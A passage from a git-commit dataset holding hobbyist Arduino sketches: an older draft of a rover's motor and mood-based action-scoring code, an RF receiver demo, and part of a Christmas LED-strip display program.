1);\n\t\tmotorize(2, squigSpeed, 1);\n\t\tmotorize(3, squigSpeed \/ squigFactor, 1);\n\t\tdelay(1000);\n\t\tmotorize(0, squigSpeed \/ squigFactor, 1);\n\t\tmotorize(1, squigSpeed, 1);\n\t\tmotorize(2, squigSpeed \/ squigFactor, 1);\n\t\tmotorize(3, squigSpeed, 1);\n\t\tdelay(1000);\n\t}\n\tbrakes();\n}\n\n\/\/ Send speeds of zero in backward direction to stop wheels\nvoid brakes() {\n\tmotorize( 0, 0, 0);\n\tmotorize( 1, 0, 0);\n\tmotorize( 2, 0, 0);\n\tmotorize( 3, 0, 0);\n}\n\n\/\/ Motor instructions for speed and direction\nvoid motorize(int motor, int speed, int direction) {\n\t\/\/ when direction is 0, default is backward\n\tboolean forward = LOW;\n\tboolean backward = HIGH;\n\t\/\/ otherwise direction is 1 and is set to forward\n\tif (direction == 1) {\n\t\tforward = HIGH;\n\t\tbackward = LOW;\n\t}\n\t\/\/ Write to pins:\n\t\/\/ Front left\n\tif (motor == 0) {\n\t\tdigitalWrite(in1FL, forward);\n\t\tdigitalWrite(in2FL, backward);\n\t\tanalogWrite(speedFL, speed);\n\t}\n\t\/\/ Front Right\n\telse if (motor == 1) {\n\t\tdigitalWrite(in1FR, forward);\n\t\tdigitalWrite(in2FR, backward);\n\t\tanalogWrite(speedFR, speed);\n\t}\n\t\/\/ Back Left\n\telse if (motor == 2) {\n\t\tdigitalWrite(in1BL, forward);\n\t\tdigitalWrite(in2BL, backward);\n\t\tanalogWrite(speedBL, speed);\n\t}\n\t\/\/ Back Right\n\telse {\n\t\tdigitalWrite(in1BR, forward);\n\t\tdigitalWrite(in2BR, backward);\n\t\tanalogWrite(speedBR, speed);\n\t}\n}\n\nvoid sleep() {\n\tdigitalWrite(standby, LOW); \/\/ enable standby mode\n}\n\nvoid wake() {\n\tdigitalWrite(standby, HIGH); \/\/ disable standby mode\n}\n\n","old_contents":"#include <EDB.h>\n#include <EEPROM.h>\n#define TABLE_SIZE 1024\/\/ max size in ATMega328\n\n#include <Adafruit_NeoPixel.h> \/\/ Adafruit NeoPixel Library\n\ntypedef struct {\n\tbyte action;\n\tbyte prev_ctx; \/\/ maybe we can use the first four bits for the prev and last four for next\n\t\/\/byte desired_ctx;\n\tbyte score;\n\tbyte id;\n} ActionScore;\n\nActionScore actionScore;\n\n\/\/hrm...with this size, we have room for 253 records\n\/\/doing that mod increases it to 338 records\n\n#define MAX_RECORDS (TABLE_SIZE - sizeof(EDB_Header))\/sizeof(ActionScore)\n\n#define FROM_CTX_MASK B11110000\n#define TO_CTX_MASK B00001111\n\n#define SAD B0000\n#define MAD B0001\n#define FEARFUL B0010\n#define DISTRACTED B0011\n#define HAPPY B1111\n#define CALM B1110\n#define FOCUSED B1100\n#define UNKNOWN B0100\n\n\/\/ limit ourselves to possibly four actions for a given context pair\n#define ACTION0_MASK B1111000000000000\n#define ACTION1_MASK B0000111100000000\n#define ACTION2_MASK B0000000011110000\n#define ACTION3_MASK B0000000000001111\n\n\/\/int lookups[256];\n\/\/lookups[0b00101010] = 0b0011110111001001;\nint lookups[256]; \/\/we should probably burn this into prog memory \n\n\/\/ The read and write handlers for using the EEPROM Library\nvoid writer(unsigned long address, byte data)\n{\n\tEEPROM.write(address, data);\n}\n\nbyte reader(unsigned long address)\n{\n\treturn EEPROM.read(address);\n}\n\n\/\/ Create an EDB object with the appropriate write and read handlers\nEDB db(&writer, &reader);\n\n\/\/use this format for DB entry cache:\n\/\/records[dbctx]= [ 0011 I 1101 I 1100 I 1001 ]\n\/\/ for selecting randomly: records[dbctx] & (15 << random(4))\n\n\nActionScore epsilon_select(byte ctxpair, byte eps) {\n\t\/\/eps indicates how often we should randomly select\n\n\tbyte epsilon = (byte)random(100);\n\n\tif (epsilon < eps) {\n\t\tActionScore as;\n\t\tdb.readRec(lookups[ctxpair] & (15 << (random(4) * 4)), EDB_REC as)\n\t\treturn as;\n\t}\n\telse {\n\t\tActionScore actionScore1;\n\t\tActionScore actionScore2;\n\t\tActionScore actionScore3;\n\t\tActionScore actionScore4;\n\n\t\tActionScore maxScore;\n\n\t\tdb.readRec(records[ctxpair] & ACTION0_MASK, EDB_REC actionScore1 );\n\t\tdb.readRec(records[ctxpair] & ACTION1_MASK, EDB_REC actionScore2 );\n\t\tdb.readRec(records[ctxpair] & ACTION2_MASK, EDB_REC actionScore3 );\n\t\tdb.readRec(records[ctxpair] & ACTION3_MASK, EDB_REC actionScore4 );\n\n\t\tmaxScore = actionScore1;\n\t\tif(maxScore > actionScore2.score) {\n\t\t\tmaxScore = actionScore2;\n\t\t}\n\t\tif (maxScore > actionScore3.score) {\n\t\t\tmaxScore = actionScore3;\n\t\t}\n\t\tif (maxScore > actionScore4.score) {\n\t\t\tmaxScore = actionScore4;\n\t\t}\n\n\t\treturn maxScore;\n\t\/* for selecting w\/max (we need four placeholders in mem?): \n\t* max(db.readRec(records[dbctx] & 15, EDB_REC actionScore).\n\t db.readRec(records[dbctx] & 30, EDB_REC actionScore),\n\t db.readRec(records[dbctx] & 60, EDB_REC actionScore),\n\t db.readRec(records[dbctx] & 120, EDB_REC actionScore))\n\t*\/\n\t}\n}\n\nbyte reccodes2ctx() {\n\t\/\/we should read in the serial from here\n\t\/\/and determine the contexts we have and want to get to\n\tif (Serial.available() > 0) {\n\t\tint incomingByte = Serial.read();\n\t\t\/\/now that we have the byte corresponding to the current ctx,\n\t\t\/\/determine which ctx we want to trigger\n\t\treturn (0 |(0 << 4)); \/\/placeholder statement for the ctx we want to trigger and the ctx we have currently\n\t}\n\t\/\/example ctxes: happy, sad, angry, fearful, calm, focused, distracted\n\treturn (UNKNOWN | (UNKNOWN << 4));\n}\n\n\/*** Pin Layout ***\/\n\n\/\/ Motors \/\/\nint standby = 6;\n\nint speedFL = 9; \/\/ front left speed\nint in1FL = 4; \/\/ front left forward\nint in2FL = 2; \/\/ front left backward\n\nint speedFR = 10; \/\/ front right speed\nint in1FR = 7; \/\/ front right forward\nint in2FR = 8; \/\/ front right backward\n\nint speedBL = 3; \/\/ back left speed\nint in1BL = A1; \/\/ back left forward\nint in2BL = A0; \/\/ back left backward\n\nint speedBR = 5; \/\/ back right speed\nint in1BR = A2; \/\/ back right forward\nint in2BR = A3; \/\/ back right backward\n\n\/\/ LEDs \/\/\nint ledData = 12;\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(2, ledData, NEO_RGB + NEO_KHZ800);\n\nvoid setup() {\n\t\/*** Pin Setup ***\/\n\tpinMode(standby, OUTPUT);\n\n\tpinMode(speedFL, OUTPUT);\n\tpinMode(in1FL, OUTPUT);\n\tpinMode(in2FL, OUTPUT);\n\t\n\tpinMode(speedFR, OUTPUT);\n\tpinMode(in1FR, OUTPUT);\n\tpinMode(in2FR, OUTPUT);\n \n\tpinMode(speedBL, OUTPUT);\n\tpinMode(in1BL, OUTPUT);\n\tpinMode(in2BL, OUTPUT);\n\t\n\tpinMode(speedBR, OUTPUT);\n\tpinMode(in1BR, OUTPUT);\n\tpinMode(in2BR, OUTPUT);\n\n\t\/** LED Setup **\/\n\tstrip.begin();\n\tstrip.show();\n\n\t\/** Database Setup **\/\n\tSerial.begin(9600);\n\tSerial.print(\"Max DB records: \");\n\tSerial.println(MAX_RECORDS);\n\n\t\/\/check if the DB exists\n\tdb.open(0);\n\n\t\/\/if record count is 0 (I think?), populate stub DB\n\tif (db.count() == 0) {\n\t\tSerial.println(\"Creating DB\");\n\t\tdb.create(0, TABLE_SIZE, sizeof(actionScore));\n\n\n\t\tfor (int recno = 0; recno < 16; recno++) {\n\t\t\tactionScore.score = 128; \/\/ set it in the middle for +- adjustment\n\t\t\tactionScore.id = (byte) recno;\n\t\t\tactionScore.action = (byte)recno;\n\t\t\tswitch (recno) {\n\t\t\t\tcase B0000:\n\t\t\t\tcase B0011:\n\t\t\t\tcase B1000:\n\t\t\t\tcase B1100:\n\t\t\t\t\tactionScore.ctxpair = (SAD << 4) | HAPPY;\n\t\t\t\t\tbreak;\n\t\t\t\tcase B0100:\n\t\t\t\tcase B0010:\n\t\t\t\tcase B1001:\n\t\t\t\tcase B1101:\n\t\t\t\t\tactionScore.ctxpair = (FEARFUL << 4) | CALM;\n\t\t\t\t\tbreak;\n\t\t\t\tcase B0001:\n\t\t\t\tcase B0110:\n\t\t\t\tcase B1010:\n\t\t\t\tcase B1110:\n\t\t\t\t\tactionScore.ctxpair = (DISTRACTED << 4) | FOCUSED;\n\t\t\t\t\tbreak;\n\t\t\t\tcase B0101:\n\t\t\t\tcase B0111:\n\t\t\t\tcase B1011:\n\t\t\t\tcase B1111:\n\t\t\t\t\tactionScore.ctxpair = (MAD << 4) | CALM;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdb.appendRec(EDB_REC actionScore);\n\t\t}\n\n\t}\n\telse {\n\t\tSerial.println(\"Using existing DB\");\n\t}\n\n\t\/\/wait for the ready message from the mini computer?\n}\n\nvoid loop() {\n\t\/\/insert retrieving EEG return codes here\n\t\/*\n\tbyte ctxpair = reccodes2ctx();\n\n\tswitch((ctxpair & FROM_CTX_MASK) >> 4) {\n\t\tcase SAD:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase MAD:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FEARFUL:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase DISTRACTED:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase HAPPY:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase CALM:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FOCUSED:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t}\n\n\tswitch(ctxpair & TO_CTX_MASK) {\n\t\tcase SAD:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase MAD:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FEARFUL:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase DISTRACTED:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase HAPPY:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase CALM:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FOCUSED:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t}\n\tstrip.show();\n\n\tactionScore = epsilon_select(ctxpair, 10);\n\tswitch(actionScore.action) {\n\t\tcase 0: \/\/ Drive forward, turn around, drive back\n\t\t\twake();\n\t\t\tallForward(100);\n\t\t\tdelay(1000);\n\t\t\tbrakes();\n\t\t\tmotorize( 0, 50, 1); \/\/ UNTESTED 180 deg turn\n\t\t\tmotorize( 1, 50, 0); \/\/ UNTESTED\n\t\t\tmotorize( 2, 50, 1); \/\/ UNTESTED\n\t\t\tmotorize( 3, 50, 0); \/\/ UNTESTED\n\t\t\tdelay(1000); \/\/ PROBABLY NEED TO CHANGE DELAY\n\t\t\tbrakes();\n\t\t\tallForward(100);\n\t\t\tdelay(1000);\n\t\t\tsleep();\n\t\t\tbreak;\n\t\tcase 1: \/\/ Drive backward\n\t\t\twake();\n\t\t\tallBackward(50);\n\t\t\tdelay(2000);\n\t\t\tbrakes();\n\t\t\tsleep();\n\t\tcase 2: \/\/ Drive in a clockwise circle\n\t\t\twake();\n\t\t\tcwCircle(50);\n\t\t\tdelay(2000); \/\/ PROBABLY NEED TO CHANGE DELAY\n\t\t\tsleep();\n\t\tcase 3: \/\/ Drive in a counter-clockwise circle\n\t\t\twake();\n\t\t\tccwCircle(50);\n\t\t\tdelay(2000); \/\/ PROBABLY NEED TO CHANGE DELAY\n\t\t\tsleep();\n\t\tcase 4: \/\/ Drive in a slight squiggle for 3 seconds\n\t\t\twake();\n\t\t\tsquiggle(75, 3, 2);\n\t\t\tsleep();\n\t\tcase 5: \/\/ Drive in a larger squiggle for 3 seconds\n\t\t\twake();\n\t\t\tsquiggle(75, 3, 4);\n\t\t\tsleep();\n\t\tcase 6:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 7:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 8:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 9:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 10:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 11:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 12:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 13:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 14:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 15:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tdefault: \/\/ Do nothing\n\t\t\tbreak;\n\t}\n\tbyte newctxpair = reccodes2ctx();\n\tif ((newctxpair & FROM_CTX_MASK) >> 4 == ctxpair & TO_CTX_MASK) {\n\t\tactionScore.score++;\n\t} else {\n\t\tactionScore.score--;\n\t}\n\tdb.updateRec(actionScore.id, EDB_REC actionScore);\n\t*\/\n}\n\n\/*** Motor Functions ***\/\n\/\/ Moves the rover forward at given speed\nvoid allForward(int forSpeed) {\n\tmotorize( 0, forSpeed, 1);\n\tmotorize( 1, forSpeed, 1);\n\tmotorize( 2, forSpeed, 1);\n\tmotorize( 3, forSpeed, 1);\n}\n\n\/\/ Moves the rover backward at given speed\nvoid allBackward(int backSpeed) {\n\tmotorize( 0, backSpeed, 0);\n\tmotorize( 1, backSpeed, 0);\n\tmotorize( 2, backSpeed, 0);\n\tmotorize( 3, backSpeed, 0);\n}\n\n\/\/ Moves the rover in a clockwise circle at given speed\nvoid cwCircle(int circSpeed) {\n\tmotorize(0, circSpeed, 1);\n\tmotorize(1, circSpeed \/ 4, 1);\n\tmotorize(2, circSpeed, 1);\n\tmotorize(3, circSpeed \/ 4, 1);\n}\n\n\/\/ Moves the rover in a counter-clockwise circle at given speed\nvoid ccwCircle(int circSpeed) {\n\tmotorize(0, circSpeed \/ 4, 1);\n\tmotorize(1, circSpeed, 1);\n\tmotorize(2, circSpeed \/ 4, 1);\n\tmotorize(3, circSpeed, 1);\n}\n\n\/\/ Moves the rover forward in a squiggly line for a given length in seconds\n\/\/ Larger squigFactors result in more squiggly lines\nvoid squiggle(int squigSpeed, int squigTime, int squigFactor) {\n\tfor (int i = 0; i < squigTime; i += 2000) {\n\t\tmotorize(0, squigSpeed, 1);\n\t\tmotorize(1, squigSpeed \/ squigFactor, 1);\n\t\tmotorize(2, squigSpeed, 1);\n\t\tmotorize(3, squigSpeed \/ squigFactor, 1);\n\t\tdelay(1000);\n\t\tmotorize(0, squigSpeed \/ squigFactor, 1);\n\t\tmotorize(1, squigSpeed, 1);\n\t\tmotorize(2, squigSpeed \/ squigFactor, 1);\n\t\tmotorize(3, squigSpeed, 1);\n\t\tdelay(1000);\n\t}\n\tbrakes();\n}\n\n\/\/ Send speeds of zero in backward direction to stop wheels\nvoid brakes() {\n\tmotorize( 0, 0, 0);\n\tmotorize( 1, 0, 0);\n\tmotorize( 2, 0, 0);\n\tmotorize( 3, 0, 0);\n}\n\n\/\/ Motor instructions for speed and direction\nvoid motorize(int motor, int speed, int direction) {\n\t\/\/ when direction is 0, default is backward\n\tboolean forward = LOW;\n\tboolean backward = HIGH;\n\t\/\/ otherwise direction is 1 and is set to forward\n\tif (direction == 1) {\n\t\tforward = HIGH;\n\t\tbackward = LOW;\n\t}\n\t\/\/ Write to pins:\n\t\/\/ Front left\n\tif (motor == 0) {\n\t\tdigitalWrite(in1FL, forward);\n\t\tdigitalWrite(in2FL, backward);\n\t\tanalogWrite(speedFL, speed);\n\t}\n\t\/\/ Front Right\n\telse if (motor == 1) {\n\t\tdigitalWrite(in1FR, forward);\n\t\tdigitalWrite(in2FR, backward);\n\t\tanalogWrite(speedFR, speed);\n\t}\n\t\/\/ Back Left\n\telse if (motor == 2) {\n\t\tdigitalWrite(in1BL, forward);\n\t\tdigitalWrite(in2BL, backward);\n\t\tanalogWrite(speedBL, speed);\n\t}\n\t\/\/ Back Right\n\telse {\n\t\tdigitalWrite(in1BR, forward);\n\t\tdigitalWrite(in2BR, backward);\n\t\tanalogWrite(speedBR, speed);\n\t}\n}\n\nvoid sleep() {\n\tdigitalWrite(standby, LOW); \/\/ enable standby mode\n}\n\nvoid wake() {\n\tdigitalWrite(standby, HIGH); \/\/ disable standby mode\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"cd37f75236dd01477917eef4c12921d5c95a54aa","subject":"receiver demo","message":"receiver demo\n","repos":"sdvornikov\/avr-stuff,sdvornikov\/avr-stuff,sdvornikov\/avr-stuff","old_file":"rx\/rx.ino","new_file":"rx\/rx.ino","new_contents":"#include <VirtualWire.h>\n \nvoid setup()\n{\n Serial.begin(9600); \/\/ Configure the serial connection to the computer\n vw_set_ptt_inverted(true); \/\/ Required by the RF module\n vw_setup(2000\/8); \/\/ bps connection speed - divided by 8 to work with ATtiny45 (programmed for 8Mhz)\n vw_set_rx_pin(3); \/\/ Arduino pin to connect the receiver data pin\n vw_rx_start(); \/\/ Start the receiver\n}\n \nvoid loop()\n{\n\n uint8_t buf[VW_MAX_MESSAGE_LEN];\n uint8_t buflen = VW_MAX_MESSAGE_LEN;\n if (vw_get_message(buf, &buflen)) \/\/ We check if we have received data\n {\n int i;\n \/\/ Message with proper check \n for (i = 0; i < buflen; i++)\n {\n Serial.write(buf[i]); \/\/ The received data is stored in the buffer\n \/\/ and sent through the serial port to the computer\n }\n Serial.println();\n \n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rx\/rx.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9069084aa48436343bf58c70f198b379279bb1d4","subject":"Create ChristmasExample.ino","message":"Create ChristmasExample.ino","repos":"ergodic00\/LightOrgan","old_file":"ChristmasExample.ino","new_file":"ChristmasExample.ino","new_contents":"\/\/An exmaple of using LEDSegs to drive a Christmas display\n\n#include \"LEDSegs.cpp\"\n\n\/\/Our LED strip instance pointer\nLEDSegs* strip;\n\nconst short nTotalLEDs = 160; \/\/Total number of LEDs in the strip (160 for a 5-meter 32\/meter strip uncut)\nconst short nFirstLED = 0; \/\/First LED to turn on (0-origin)\nconst short nLastLED = nTotalLEDs - 1; \/\/Max LED index to illuminate. Must be < nTotalLEDs\nconst unsigned long refreshDelayMS = 35UL; \/\/Min time between strip update cycles (in milliseconds)\nconst unsigned long segmentSetDisplayTimeMS = 20000UL; \/\/Amount of time to display each segment set\nunsigned static long waitforSegmentTimeMS, thisSegmentSet; \/\/Keeps track of which segment set we're doing and how long\n\n\/\/This is an array of segment display setup subroutines that are selected by the\n\/\/four toggle switches. When the state of the switches changes, the current strip setup\n\/\/is cleared, and the corresponding setup routine here is called to change the display\n\ntypedef void (*SegmentSetupRoutine) ();\nstatic SegmentSetupRoutine SegmentSetups[] = {\n SegmentProgramChristmas1,\n SegmentProgramChristmas5, \n SegmentProgramChristmas2,\n SegmentProgramChristmas3,\n SegmentProgramChristmas4,\n SegmentProgramChristmas5, \n SegmentProgramChristmas6,\n SegmentProgramChristmas7,\n SegmentProgramChristmas8,\n SegmentProgramChristmas9,\n};\n\n\/\/Total number of segment sets (segment definition routines) in the above array\n\nconst short nSegmentSets = sizeof(SegmentSetups) \/ sizeof(SegmentSetups[0]);\n\n\/* Routine just used to tune colors *\/\n\/*\nvoid SegmentProgram1StaticColor() {\n static short ColorIndex = 0;\n static uint32_t SegColors[] = {RGBPurple, RGBPurpleWhite, RGBPurpleDim, RGBPurpleVeryDim, RGBOff};\n \n if (ColorIndex >= SIZEOF_ARRAY(SegColors)) {ColorIndex = 0;}\n strip->DefineSegment(0, nTotalLEDs, cSegActionStatic, SegColors[ColorIndex], 0);\n ColorIndex++;\n}\n*\/\n\n\/*\nSegmentProgramChristmas1: 5 simple segments\n*\/\n\nvoid SegmentProgramChristmas1() {\n short nLEDsPerSegment, iSegment;\n const short nSegments = 5;\n const short bands[nSegments] = {cSegBand2, cSegBand3, cSegBand4, cSegBand5, cSegBand6};\n uint32_t Colors5[nSegments] = {RGBRed, RGBGold, RGBPurple, RGBGreen, RGBBlue};\n\n \/\/segments of equal # of LEDs.\n nLEDsPerSegment = (nLastLED - nFirstLED + 1) \/ nSegments;\n\n \/\/Define the active segments\n for (iSegment = 0; iSegment < nSegments; iSegment++) {\n strip->DefineSegment((iSegment*nLEDsPerSegment)+nFirstLED, nLEDsPerSegment, cSegActionRandom, Colors5[iSegment], bands[iSegment]);\n }\n}\n\n\/*\nSegmentProgramChristmas2: Pulsing solid color all spectra -- Choose a new color each call\n*\/\n\nvoid SegmentProgramChristmas2() {\n short nLEDs;\n const short nColors = 6;\n uint32_t foreColors[nColors] = {RGBRed, RGBGreen, RGBBlue, RGBGold, RGBPurple, RGBWhiteDim};\n static short thisColor = -1;\n\n thisColor = (thisColor + 1) % nColors; \n nLEDs = nLastLED - nFirstLED + 1;\n\n strip->DefineSegment(nFirstLED, nLEDs, cSegActionStatic, foreColors[thisColor], 0x0E);\n strip->SetSegment_Options(cSegOptModulateSegment);\n strip->SetSegment_DisplayRoutine(&DisplayRoutineModulateHelper);\n}\n\n\/\/The LED intensity isn't linear with level, so this display routine provides segments that are\n\/\/defined as static\/modulate with better \"action\"\nvoid DisplayRoutineModulateHelper(short iSegment) {\n const short nCuts = 9;\n const short C2CutLevels[nCuts] = { 40, 150, 225, 400, 500, 600, 700, 800, 950};\n const short C2MapLevels[nCuts] = { 0, 1, 10, 30, 60, 200, 400, 700, cMaxSegmentLevel};\n short iLevel, thisLevel;\n thisLevel = strip->GetSegment_Level(iSegment);\n for (iLevel = 0; iLevel < (nCuts-1); iLevel++) {\n if (thisLevel < C2CutLevels[iLevel]) {break;}\n }\n strip->SetSegment_Level(C2MapLevels[iLevel]);\n}\n\n\/*\nSegmentProgramChristmas3: Two interleaved red\/green solid segments for all spectra, green one inverted\n*\/\n\nvoid SegmentProgramChristmas3() {\n short nLEDs = nLastLED - nFirstLED + 1;\n\n strip->DefineSegment(nFirstLED, nLEDs, cSegActionFromBottom, RGBRed, cSegBand2 | cSegBand3);\n strip->SetSegment_Spacing(1);\n\n strip->DefineSegment(nFirstLED + 1, nLEDs - 1, cSegActionFromTop, RGBGreen, cSegBand4 | cSegBand5 | cSegBand6);\n strip->SetSegment_Spacing(1);\n}\n\n\/*\nSegmentProgramChristmas4: Three segments\n*\/\n\nvoid SegmentProgramChristmas4() {\n short nLEDs = nLastLED - nFirstLED + 1;\n short nLEDsPerSegment = nLEDs \/ 3;\n\n strip->DefineSegment(nFirstLED, nLEDsPerSegment, cSegActionFromTop, RGBRed, 0x02);\n strip->SetSegment_BackColor(RGBBlueVeryDim);\n strip->SetSegment_Options(cSegOptModulateSegment);\n\n strip->DefineSegment(nFirstLED + nLEDsPerSegment + 1, nLEDsPerSegment, cSegActionFromMiddle, RGBGold, 0x0C);\n strip->SetSegment_BackColor(RGBBlueVeryDim);\n strip->SetSegment_Options(cSegOptModulateSegment);\n\n strip->DefineSegment(nFirstLED + (2*nLEDsPerSegment) + 1, nLEDsPerSegment, cSegActionFromBottom, RGBGreen, 0x30);\n strip->SetSegment_BackColor(RGBBlueVeryDim);\n strip->SetSegment_Options(cSegOptModulateSegment);\n}\n\n\/*\nSegmentProgramChristmas5: 5 interleaved segments of different colors (my favorite - this is really awesome)\n*\/\n\nvoid SegmentProgramChristmas5() {\n short nLEDsPerSegment, iSegment;\n const short nSegments = 5;\n const short bands[] = {cSegBand2, cSegBand3, cSegBand4, cSegBand5, cSegBand6};\n uint32_t Colors5[] = {RGBRed, RGBYellow, RGBPurple, RGBBlue, RGBGreen};\n\n nLEDsPerSegment = (nLastLED - nFirstLED + 1);\n\n \/\/Define the active segments\n for (iSegment = 0; iSegment < nSegments; iSegment++) {\n strip->DefineSegment(nFirstLED + iSegment, nLEDsPerSegment, cSegActionRandom, Colors5[iSegment], bands[iSegment]);\n strip->SetSegment_Spacing(nSegments-1);\n }\n}\n\n\/*\nSegmentProgramChristmas6: Adjacent segments with a custom display routine\n*\/\n\nconst short nSegmentsChristmas6 = 40;\nshort levelsChristmas6[nSegmentsChristmas6 + 1];\nshort C6ColorIndex = 0;\nuint32_t C6SegColors[] = {RGBBlue, RGBGold, RGBYellow, RGBPurple, RGBOrange, RGBSilver}; \/\/Colors to cycle\n\nvoid SegmentProgramChristmas6() {\n short nLEDsPerSegment, iSegment, levelRangePerSegment, nLevel;\n nLEDsPerSegment = (nLastLED - nFirstLED + 1) \/ nSegmentsChristmas6;\n levelRangePerSegment = cMaxSegmentLevel \/ nSegmentsChristmas6;\n nLevel = 0;\n \n if (C6ColorIndex >= SIZEOF_ARRAY(C6SegColors)) {C6ColorIndex = 0;}\n \n \/\/Define the active segments\n for (iSegment = 0; iSegment < nSegmentsChristmas6; iSegment++) {\n strip->DefineSegment(nFirstLED + (iSegment * nLEDsPerSegment), nLEDsPerSegment, cSegActionStatic, C6SegColors[C6ColorIndex], 0x1E);\n strip->SetSegment_DisplayRoutine(iSegment, &SegmentDisplayChristmas6);\n levelsChristmas6[iSegment] = nLevel;\n nLevel += levelRangePerSegment;\n }\n levelsChristmas6[nSegmentsChristmas6] = cMaxSegmentLevel;\n C6ColorIndex++;\n}\n\nvoid SegmentDisplayChristmas6(short iSegment) {\n short curLevel;\n curLevel = strip->GetSegment_Level(iSegment);\n\/\/ strip->SetSegment_Action(iSegment, cSegActionStatic);\n strip->SetSegment_ForeColor(iSegment, C6SegColors[C6ColorIndex - 1]);\n if ((levelsChristmas6[iSegment] >= curLevel) || (levelsChristmas6[iSegment+1] < curLevel)) {\n\/\/ strip->SetSegment_Action(iSegment, cSegActionNone);\n strip->SetSegment_ForeColor(iSegment, RGBBlueVeryDim);\n }\n}\n\n\/*\nSegmentProgramChristmas7: A single, sliding segment of fixed length, colors change on each call\n*\/\n\nshort C7ColorIndex = 0;\nconst short C7SegLen = 40; \/\/The length of the \"slider\"\nconst short C7SegMinLevel = 3; \/\/The min level needed to show the slider\nshort C7ColorSegs[3]; \/\/Records the index of the three 0-length color segments\nuint32_t C7SegColors[] = {RGBRed, RGBGreen, RGBGold, RGBYellow, RGBPurple, RGBOrange, RGBSilver, RGBBlue}; \/\/Colors to cycle\n\nstatic short C7LastStartPos = 0;\nconst short C7MaxAttack = 30;\nconst short C7MaxDecay = 10;\n\nvoid SegmentProgramChristmas7() {\n \n if (C7ColorIndex >= SIZEOF_ARRAY(C7SegColors)) {C7ColorIndex = 0;}\n\n \/\/Define the slider segment. It's color and starting position are set in the display routine\n strip->DefineSegment(0, C7SegLen, cSegActionStatic, C7SegColors[C7ColorIndex], 0x1E);\n strip->SetSegment_DisplayRoutine(&SegmentDisplayChristmas7);\n\n \/\/Define three zero-length segments just to get the levels for the three bands we want to\n \/\/check to set the color of the motion segment in the display routine\n C7ColorSegs[0] = strip->DefineSegment(0, 0, cSegActionNone, RGBRed, cSegBand2);\n C7ColorSegs[1] = strip->DefineSegment(0, 0, cSegActionNone, RGBGreen, cSegBand3);\n C7ColorSegs[2] = strip->DefineSegment(0, 0, cSegActionNone, RGBBlue, cSegBand4 | cSegBand5);\n\n C7ColorIndex++;\n}\n\nvoid SegmentDisplayChristmas7(short iSegment) {\n short curLevel, startPos;\n uint32_t thiscolor;\n short colorseg, iseg, maxcolorlevel, thislevel;\n\n curLevel = strip->GetSegment_Level(iSegment) - C7SegMinLevel;\n if (curLevel < 0) {strip->SetSegment_Action(iSegment, cSegActionNone);}\n else {\n strip->SetSegment_Action(iSegment, cSegActionStatic);\n startPos = (\n (((long) curLevel) * ((long) (nTotalLEDs - C7SegLen))) \/\n ((long) (cMaxSegmentLevel - C7SegMinLevel))) +\n nFirstLED;\n startPos = constrain(startPos, 0, nLastLED); \/\/safety\n\/* \n if (startPos > (C7LastStartPos - C7MaxAttack)) {startPos = C7LastStartPos + C7MaxAttack;}\n else if (startPos < (C7LastStartPos + C7MaxDecay)) {startPos = C7LastStartPos - C7MaxDecay;}\n C7LastStartPos = startPos;\n*\/ \n strip->SetSegment_FirstLED(iSegment, startPos);\n }\n}\n\/*\nSegmentProgramChristmas8: Single color-modulated segment based on sound level\n*\/\n\nvoid SegmentProgramChristmas8() {\n strip->DefineSegment(0, nTotalLEDs, cSegActionStatic, RGBOff, cSegBand2 | cSegBand3 | cSegBand4 | cSegBand5);\n strip->SetSegment_DisplayRoutine(&SegmentDisplayChristmas8);\n}\n\n\/\/Display routine to modulate the color.\nvoid SegmentDisplayChristmas8(short iSegment) {\n const short C8nColors = 3;\n static const short 